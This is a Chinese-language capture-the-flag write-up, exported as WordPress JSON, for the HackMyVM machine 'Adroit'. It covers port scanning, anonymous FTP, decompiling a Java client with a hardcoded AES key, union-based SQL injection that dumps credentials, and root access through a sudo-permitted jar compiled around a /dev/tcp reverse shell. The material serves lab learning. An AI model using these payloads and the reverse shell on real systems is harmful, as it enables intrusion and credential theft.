{"id":664,"date":"2024-04-30T02:53:44","date_gmt":"2024-04-29T18:53:44","guid":{"rendered":"http:\/\/162.14.82.114\/?p=664"},"modified":"2024-04-30T02:55:29","modified_gmt":"2024-04-29T18:55:29","slug":"hmv-_-adroit","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/664\/04\/30\/2024\/","title":{"rendered":"hmv[-_-]Adroit"},"content":{"rendered":"

Adroit<\/h1>\n

\"image-20240429121928403\"<\/div><\/p>\n

\"image-20240430001906704\"<\/div>
\n
\"image-20240430002303596\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ rustscan -a 192.168.0.117 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.117:21\nOpen 192.168.0.117:22\nOpen 192.168.0.117:3000\nOpen 192.168.0.117:3306\nOpen 192.168.0.117:33060\n\nPORT      STATE SERVICE    REASON  VERSION\n21\/tcp    open  ftp        syn-ack vsftpd 3.0.3\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:192.168.0.143\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 2\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_drwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 pub\n22\/tcp    open  ssh        syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 d2:32:82:0f:82:48:cd:c2:33:a2:a2:72:09:c5:28:91 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBOmXw5ri8Hn3MykepbauI+ByuSo0ns3+gFXEeUDhdZzsVp70+JWtN\/h+Ik5HS4rkRP9\/GZA6or8aMjSCuZwa8bjFqerqGXZTuyUphLZDRyGaYU83VI7+JZvTvt7qIonmkNZx2ELjjhPDaQAWehundLM3Ogpp\/uKI7aZ36dwmfqFHkH91GFNAbG5C9C8MO8O8HhrIf1DmY3AFlnc0BFQKQJRlyxb9X5Eg1owTClyCJmj5k9SJbPqq\/xF6HCElM8IcloYqU1TEt1nZ9WEvWQh2GmtdPEyXZp5AKHJMNb+36QNbBmnVh8WLdbSvUa05O8V6grinC8v0gjRwuD3Fb8rpz\n|   256 4e:8a:9a:49:b9:23:c2:cd:ac:89:4f:44:b2:0b:0b:db (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDeUBewhPNaMXTEBm4QG9Qjyz\/bHqvb\/OS+BOqE9dIdqNYlrcm2P37\/gi50k3XSK+G4RpihGBgd4FEPvoh7Y1Z8=\n|   256 32:88:82:fc:84:79:98:1d:b2:27:96:26:96:5a:68:6b (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINd4wtdIW6N9Kdxb4D08djwEH+x9Og4QhQZa62W64XW+\n3000\/tcp  open  tcpwrapped syn-ack\n3306\/tcp  open  mysql      syn-ack MySQL (unauthorized)\n33060\/tcp open  mysqlx?    syn-ack\n| fingerprint-strings: \n|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: \n|     Invalid message"\n|_    HY000\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port33060-TCP:V=7.94SVN%I=7%D=4\/29%Time=662FC9DE%P=x86_64-pc-linux-gnu%\nSF:r(NULL,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(GenericLines,9,"\\x05\\0\\0\\0\\x\nSF:0b\\x08\\x05\\x1a\\0")%r(GetRequest,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(HTT\nSF:POptions,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(RTSPRequest,9,"\\x05\\0\\0\\0\\\nSF:x0b\\x08\\x05\\x1a\\0")%r(RPCCheck,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(DNSV\nSF:ersionBindReqTCP,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(DNSStatusRequestTC\nSF:P,2B,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x\nSF:0fInvalid\\x20message\\"\\x05HY000")%r(Help,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\\nSF:0")%r(SSLSessionReq,2B,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\\nSF:x01\\x10\\x88'\\x1a\\x0fInvalid\\x20message\\"\\x05HY000")%r(TerminalServerCoo\nSF:kie,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(TLSSessionReq,2B,"\\x05\\0\\0\\0\\x0\nSF:b\\x08\\x05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x0fInvalid\\x20messag\nSF:e\\"\\x05HY000")%r(Kerberos,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(SMBProgNe\nSF:g,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(X11Probe,2B,"\\x05\\0\\0\\0\\x0b\\x08\\x\nSF:05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x0fInvalid\\x20message\\"\\x05\nSF:HY000")%r(FourOhFourRequest,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(LPDStri\nSF:ng,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(LDAPSearchReq,2B,"\\x05\\0\\0\\0\\x0b\nSF:\\x08\\x05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x0fInvalid\\x20message\nSF:\\"\\x05HY000")%r(LDAPBindReq,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(SIPOpti\nSF:ons,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(LANDesk-RC,9,"\\x05\\0\\0\\0\\x0b\\x0\nSF:8\\x05\\x1a\\0")%r(TerminalServer,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(NCP,\nSF:9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(NotesRPC,2B,"\\x05\\0\\0\\0\\x0b\\x08\\x05\nSF:\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x0fInvalid\\x20message\\"\\x05HY\nSF:000")%r(JavaRMI,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(WMSRequest,9,"\\x05\\\nSF:0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(oracle-tns,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0"\nSF:)%r(ms-sql-s,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0")%r(afp,2B,"\\x05\\0\\0\\0\\x0b\nSF:\\x08\\x05\\x1a\\0\\x1e\\0\\0\\0\\x01\\x08\\x01\\x10\\x88'\\x1a\\x0fInvalid\\x20message\nSF:\\"\\x05HY000")%r(giop,9,"\\x05\\0\\0\\0\\x0b\\x08\\x05\\x1a\\0");\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u654f\u611f\u7aef\u53e3<\/h3>\n
\u5c1d\u8bd5\u8fdb\u884c\u533f\u540d\u767b\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ ftp 192.168.0.117 \nConnected to 192.168.0.117.\n220 (vsFTPd 3.0.3)\nName (192.168.0.117:kali): ftp\n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> \nftp> ls -la\n229 Entering Extended Passive Mode (|||46635|)\n150 Here comes the directory listing.\ndrwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 .\ndrwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 ..\ndrwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 pub\n226 Directory send OK.\nftp> cd pub\n250 Directory successfully changed.\nftp> ls -la\n229 Entering Extended Passive Mode (|||41754|)\n150 Here comes the directory listing.\ndrwxr-xr-x    2 ftp      ftp          4096 Mar 19  2021 .\ndrwxr-xr-x    3 ftp      ftp          4096 Jan 14  2021 ..\n-rw-r--r--    1 ftp      ftp          5451 Jan 14  2021 adroitclient.jar\n-rw-r--r--    1 ftp      ftp           229 Mar 19  2021 note.txt\n-rw-r--r--    1 ftp      ftp         36430 Jan 14  2021 structure.PNG\n226 Directory send OK.\nftp> mget *\nmget adroitclient.jar [anpqy?]? \n229 Entering Extended Passive Mode (|||43310|)\n150 Opening BINARY mode data connection for adroitclient.jar (5451 bytes).\n100% |***********************************************************************************************************|  5451      212.13 KiB\/s    00:00 ETA\n226 Transfer complete.\n5451 bytes received in 00:00 (205.68 KiB\/s)\nmget note.txt [anpqy?]? \n229 Entering Extended Passive Mode (|||45106|)\n150 Opening BINARY mode data connection for note.txt (229 bytes).\n100% |***********************************************************************************************************|   229        8.62 KiB\/s    00:00 ETA\n226 Transfer complete.\n229 bytes received in 00:00 (8.44 KiB\/s)\nmget structure.PNG [anpqy?]? \n229 Entering Extended Passive Mode (|||43001|)\n150 Opening BINARY mode data connection for structure.PNG (36430 bytes).\n100% |***********************************************************************************************************| 36430        1.66 MiB\/s    00:00 ETA\n226 Transfer complete.\n36430 bytes received in 00:00 (1.64 MiB\/s)\nftp> exit\n221 Goodbye.<\/code><\/pre>\n
\u770b\u770b\u6709\u4e9b\u5565\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ ls \nadroitclient.jar  note.txt  structure.PNG\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ file *           \nadroitclient.jar: Java archive data (JAR)\nnote.txt:         ASCII text\nstructure.PNG:    PNG image data, 831 x 344, 8-bit\/color RGBA, non-interlaced\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ cat note.txt \nHi, i am a junior developer and i am pro with cyber security. \nAlso i am a writer and i created a java socket app to save my ideas.\nPS : \nif you break something the server will restart within a minute.\nAlso, one 0 is not 0 but O<\/code><\/pre>\n
\u4ed6\u8bf4\u8fd9\u4e2ajava\u7a0b\u5e8f\u4fdd\u5b58\u4e86\u4ed6\u7684\u60f3\u6cd5\uff0c\u800c\u4e14\u6709\u4e00\u4e2aO\u5199\u6210\u4e860\uff0c\u5c1d\u8bd5\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a\u8fd9\u91cc\u7528\u5230\u7684\u662fjd-gui<\/code>\u8fd9\u4e00ctf\u5de5\u5177\uff1a<\/p>\n
\"image-20240430003948048\"<\/div><\/p>\n
package adroit;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.net.Socket;\nimport java.net.UnknownHostException;\nimport java.rmi.NotBoundException;\nimport java.rmi.RemoteException;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Scanner;\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\n\npublic class AdroitClient {\n  private static final String secret = "Sup3rS3cur3Dr0it";\n\n  static ObjectOutputStream os;\n\n  static ObjectInputStream is;\n\n  static Socket socket;\n\n  public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException, NotBoundException, ClassNotFoundException {\n    Cryptor crypt = new Cryptor();\n    try {\n      socket = new Socket("adroit.local", 3000);\n      os = new ObjectOutputStream(socket.getOutputStream());\n      is = new ObjectInputStream(socket.getInputStream());\n      R request = new R();\n      Scanner scanner = new Scanner(System.in);\n      System.out.println("Enter the username : ");\n      String userName = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());\n      System.out.println("Enter the password : ");\n      String password = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());\n      if (userName.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "zeus")) && \n        password.equals(crypt.encrypt("Sup3rS3cur3Dr0it", "god.thunder.olympus"))) {\n        request.setUsername(userName);\n        request.setPassword(password);\n        System.out.println("Options [ post | get ] : ");\n        String option = scanner.next();\n        scanner.nextLine();\n        if (option.toLowerCase().equals("post")) {\n          request.setOption("post");\n          System.out.println("Enter your phrase identifier : ");\n          String id = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());\n          System.out.println("Enter your phrase : ");\n          String phrase = crypt.encrypt("Sup3rS3cur3Dr0it", scanner.nextLine());\n          Idea idea = new Idea();\n          idea.setId(id);\n          idea.setPhrase(phrase);\n          request.setIdea(idea);\n          os.writeObject(request);\n          R responseobj = (R)is.readObject();\n          String response = responseobj.getOption();\n          System.out.println(response);\n        } else if (option.toLowerCase().equals("get")) {\n          request.setOption("get");\n          System.out.println("Enter the phrase identifier : ");\n          String inp = scanner.nextLine();\n          String id = crypt.encrypt("Sup3rS3cur3Dr0it", inp);\n          Idea idea = new Idea();\n          idea.setId(id);\n          request.setIdea(idea);\n          os.writeObject(request);\n          R responseobj = (R)is.readObject();\n          String response = responseobj.getOption();\n          System.out.println(response);\n        } else {\n          System.out.println("Bad option, valid options = get, post");\n        } \n      } else {\n        System.out.print("Wrong username or password");\n      } \n      scanner.close();\n    } catch (RemoteException e) {\n      System.out.println(e.getMessage());\n      e.printStackTrace();\n    } catch (UnknownHostException e) {\n      e.printStackTrace();\n    } catch (IOException e) {\n      e.printStackTrace();\n    } \n  }\n}\n<\/code><\/pre>\n
package adroit;\n\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidKeyException;\nimport java.security.Key;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Base64;\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\nimport javax.crypto.spec.SecretKeySpec;\n\npublic class Cryptor {\n  private String secret;\n\n  public String getSecret() {\n    return this.secret;\n  }\n\n  public void setSecret(String secret) {\n    this.secret = secret;\n  }\n\n  public String encrypt(String key, String text) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {\n    Key aesKey = new SecretKeySpec(key.getBytes(), "AES");\n    Cipher cipher = Cipher.getInstance("AES");\n    cipher.init(1, aesKey);\n    byte[] encrypted = cipher.doFinal(text.getBytes());\n    return Base64.getEncoder().encodeToString(encrypted);\n  }\n\n  public String decrypt(String key, String text) throws NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException {\n    try {\n      Key aesKey = new SecretKeySpec(key.getBytes(), "AES");\n      Cipher cipher = Cipher.getInstance("AES");\n      cipher.init(2, aesKey);\n      String decrypted = new String(cipher.doFinal(Base64.getDecoder().decode(text)));\n      return decrypted;\n    } catch (InvalidKeyException i) {\n      System.out.println("[x] Invalid key length {16 required}");\n      return null;\n    } \n  }\n}<\/code><\/pre>\n
\u770b\u5230\u4e86\u5947\u602a\u7684\u5b57\u7b26\u4e32Sup3rS3cur3Dr0it\u3001zeus\u3001god.thunder.olympus\u3001adroit.local<\/code><\/p>\n
\u6dfb\u52a0dns\u89e3\u6790\uff1a<\/p>\n
192.168.0.117   adroit.local<\/code><\/pre>\n
sql\u6ce8\u5165<\/h3>\n
\u5c1d\u8bd5\u6267\u884cjar\u5305\uff0c\u6309\u7167\u53cd\u7f16\u8bd1\u7684\u5185\u5bb9\u8fdb\u884c\u56de\u7b54\uff1a<\/p>\n
\u53c2\u8003 https:\/\/book.hacktricks.xyz\/pentesting-web\/sql-injection<\/a> \u8fdb\u884c\u6ce8\u5165\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ java -jar adroitclient.jar                   \nEnter the username : \nzeus\nEnter the password : \ngod.thunder.olympus\nOptions [ post | get ] : \nget\nEnter the phrase identifier : \n1' or '1' = '1\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit]\n\u2514\u2500$ java -jar adroitclient.jar\nEnter the username : \nzeus\nEnter the password : \ngod.thunder.olympus\nOptions [ post | get ] : \nget\nEnter the phrase identifier : \n1 or 1 = 1\n haxor test<\/code><\/pre>\n
\u7ee7\u7eed\u5c1d\u8bd5\uff1a<\/p>\n
1 union select 1,database() --\n# adroit\n1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='adroit' --\n# ideas,users\n1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --\n# id,password,username,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,USER\n1 union select 1,group_concat(username,0x3a,password) from users --\n# writer:l4A+n+p+xSxDcYCl0mgxKr015+OEC3aOfdrWafSqwpY=<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528\u53cd\u7f16\u8bd1\u7684\u7a0b\u5e8f\uff0c\u7136\u540e\u5199\u4e00\u4e2amain\u51fd\u6570\u8f93\u51fa\u7ed3\u679c\uff1a<\/p>\n
\u521b\u5efa\u4e00\u4e2aCryptor.java<\/h4>\n
\/\/ Cryptor.java\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidKeyException;\nimport java.security.Key;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Base64;\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\nimport javax.crypto.spec.SecretKeySpec;\n\npublic class Cryptor {\n    private String secret;\n\n    public String getSecret() {\n        return this.secret;\n    }\n\n    public void setSecret(String secret) {\n        this.secret = secret;\n    }\n\n    public String encrypt(String key, String text) throws NoSuchPaddingException, NoSuchAlgorithmException,\n            InvalidKeyException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {\n        Key aesKey = new SecretKeySpec(key.getBytes(), "AES");\n        Cipher cipher = Cipher.getInstance("AES");\n        cipher.init(1, aesKey);\n        byte[] encrypted = cipher.doFinal(text.getBytes());\n\n        return Base64.getEncoder().encodeToString(encrypted);\n    }\n\n    public String decrypt(String key, String text) throws NoSuchPaddingException, NoSuchAlgorithmException,\n            InvalidKeyException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {\n        try {\n            Key aesKey = new SecretKeySpec(key.getBytes(), "AES");\n            Cipher cipher = Cipher.getInstance("AES");\n            cipher.init(2, aesKey);\n            return new String(cipher.doFinal(Base64.getDecoder().decode(text)));\n\n        } catch (InvalidKeyException i) {\n\n            System.out.println("[x] Invalid key length {16 required}");\n\n            return null;\n        }\n    }\n}<\/code><\/pre>\n
\u4ee5\u53ca\u4e00\u4e2amain:<\/p>\n
\/\/ main\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\n\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\n\npublic class Main {\n\n    public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {\n\n        Cryptor cryptor = new Cryptor();\n        String password = cryptor.decrypt("Sup3rS3cur3Dr0it", "l4A<REDACTED>Kr015+OEC3aOfdrWafSqwpY=");\n        System.out.println(password);\n\n    }\n\n}<\/code><\/pre>\n
\u4f46\u662f\u62a5\u9519\u4e86\uff1a<\/p>\n
\"image-20240430015914746\"<\/div><\/p>\n
\u53d1\u73b0\u662f\u56e0\u4e3a\u524d\u9762\u7684\u4f5c\u8005\u6709\u4e00\u4e2aO\u5199\u4e3a\u4e860\uff0c\u8fd9\u91cc\u4fee\u6539\u4e00\u4e0b\u5373\u53ef\uff01<\/p>\n
\u250c\u2500  l4A<REDACTED>Kr015+OEC3aOfdrWafSqwpY=\n\u2514\u2500> l4A<REDACTED>KrO15+OEC3aOfdrWafSqwpY=<\/code><\/pre>\n
\/\/ main\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\n\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\n\npublic class Main {\n\n    public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {\n\n        Cryptor cryptor = new Cryptor();\n        String password = cryptor.decrypt("Sup3rS3cur3Dr0it", "l4A+n+p+xSxDcYCl0mgxKrO15+OEC3aOfdrWafSqwpY=");\n        System.out.println(password);\n\n    }\n\n}<\/code><\/pre>\n
\"image-20240430021323588\"<\/div><\/p>\n
writer:just.write.my.ideas<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884cssh\u8fde\u63a5\uff01\uff01\uff01\uff01<\/p>\n
\"image-20240430021531232\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
writer@adroit:~$ ls\nuser.txt\nwriter@adroit:~$ cat user.txt \n61de3a25161dcb2b88b5119457690c3c\nwriter@adroit:~$ ls -la\ntotal 32\ndrwxr-xr-x 3 writer writer 4096 Jan 14  2021 .\ndrwxr-xr-x 3 root   root   4096 Jan 12  2021 ..\n-rw------- 1 writer writer  616 Jan 14  2021 .bash_history\n-rw-r--r-- 1 writer writer  220 Jan 12  2021 .bash_logout\n-rw-r--r-- 1 writer writer 3526 Jan 12  2021 .bashrc\ndrwx------ 3 writer writer 4096 Jan 14  2021 .gnupg\n-rw-r--r-- 1 writer writer  807 Jan 12  2021 .profile\n-rw------- 1 writer writer   33 Jan 14  2021 user.txt\nwriter@adroit:~$ cd .gnupg\/\nwriter@adroit:~\/.gnupg$ ls -la\ntotal 12\ndrwx------ 3 writer writer 4096 Jan 14  2021 .\ndrwxr-xr-x 3 writer writer 4096 Jan 14  2021 ..\ndrwx------ 2 writer writer 4096 Jan 14  2021 private-keys-v1.d\nwriter@adroit:~\/.gnupg$ cd private-keys-v1.d\/\nwriter@adroit:~\/.gnupg\/private-keys-v1.d$ ls -la\ntotal 8\ndrwx------ 2 writer writer 4096 Jan 14  2021 .\ndrwx------ 3 writer writer 4096 Jan 14  2021 ..\nwriter@adroit:~\/.gnupg\/private-keys-v1.d$ cd ..\/..\/\nwriter@adroit:~$ cat .bash_history \nsudo -l\nexit\nclear\nsudo -l\ncd \/tmp\nls\nwget http:\/\/10.0.2.15:8001\/testingmyapp.jar\nks\nls\n\/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nls\nchmod +x testingmyapp.jar\nclear\n\/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\njava -jar \/tmp\/testingmyapp.jar\nclear\nsudo -l\nsudo -u root \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nsudo -u root \/usr\/bin\/java -jar testingmyapp.jar\nsudo -u root \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nls\nrm testingmyapp.jar\nwget http:\/\/10.0.2.15:8001\/testingmyapp.jar\nclear\nls\nsudo -u root \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nls\nrm testingmyapp.jar\nls\ncd\nls\nls -la\nrm .bash_history\nls\nclear\nsu root\nexit\nwriter@adroit:~$ sudo -l\n[sudo] password for writer: \nMatching Defaults entries for writer on adroit:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser writer may run the following commands on adroit:\n    (root) \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nwriter@adroit:~$ ls -l \/tmp\/testingmyapp.jar\nls: cannot access '\/tmp\/testingmyapp.jar': No such file or directory<\/code><\/pre>\n
\u6784\u9020java\u53cd\u5f39shell<\/h3>\n
\u5c1d\u8bd5\u4f7f\u7528java\u53cd\u5f39shell<\/code>\u8fdb\u884c\u6784\u9020\u3002https:\/\/www.revshells.com\/<\/a><\/p>\n
public class testingmyapp {\n    public static void main(String[] args) {\n        Process p;\n        try {\n            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& \/dev\/tcp\/192.168.0.143\/1234 0>&1");\n            p.waitFor();\n            p.destroy();\n        } catch (Exception e) {}\n    }\n}<\/code><\/pre>\n
\u5c1d\u8bd5\u7f16\u8bd1\u4e00\u4e0b\uff1a\u9614\u4ee5\u53c2\u8003 https:\/\/www.cnblogs.com\/mq0036\/p\/8566427.html<\/a> \u4ee5\u53ca \u58a8\u5e08\u5085bolg<\/a>\uff01<\/p>\n
writer@adroit:\/tmp$ cat testingmyapp.java \npublic class testingmyapp {\n    public static void main(String[] args) {\n        Process p;\n        try {\n            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& \/dev\/tcp\/192.168.0.143\/1234 0>&1");\n            p.waitFor();\n            p.destroy();\n        } catch (Exception e) {}\n    }\n}\nwriter@adroit:\/tmp$ vi manifest.txt\nwriter@adroit:\/tmp$ cat manifest.txt \nMain-Class: testingmyapp\nwriter@adroit:\/tmp$ javac testingmyapp.java \nwriter@adroit:\/tmp$ jar cfm testingmyapp.jar manifest.txt testingmyapp.class\nwriter@adroit:\/tmp$ sudo -l\nMatching Defaults entries for writer on adroit:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser writer may run the following commands on adroit:\n    (root) \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\nwriter@adroit:\/tmp$ sudo \/usr\/bin\/java -jar \/tmp\/testingmyapp.jar\n<\/code><\/pre>\n
\u7136\u540e\u62ff\u4e0bshell\uff01\uff01\uff01\uff01<\/p>\n
\"image-20240430025002256\"<\/div><\/p>\n
\u53c2\u8003<\/h2>\n
https:\/\/tryhackmyoffsecbox.github.io\/Target-Machines-WriteUp\/docs\/HackMyVM\/Machines\/Adroit\/<\/a><\/p>\n
https:\/\/mikannse.space\/2024\/02\/17\/%E6%89%93%E9%9D%B6%E8%AE%B0%E5%BD%95(%E4%B9%9D%E4%B8%89)%E4%B9%8BHMVAndroit\/<\/a><\/p>\n
https:\/\/nepcodex.com\/2021\/07\/adroit-1-0-1-walkthrough-vulnhub-writeup\/<\/a><\/p>\n
https:\/\/github.com\/AL1ENUM\/walkthroughs\/blob\/main\/adroit.md<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Adroit \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Adroit] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-664","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=664"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/664\/revisions"}],"predecessor-version":[{"id":666,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/664\/revisions\/66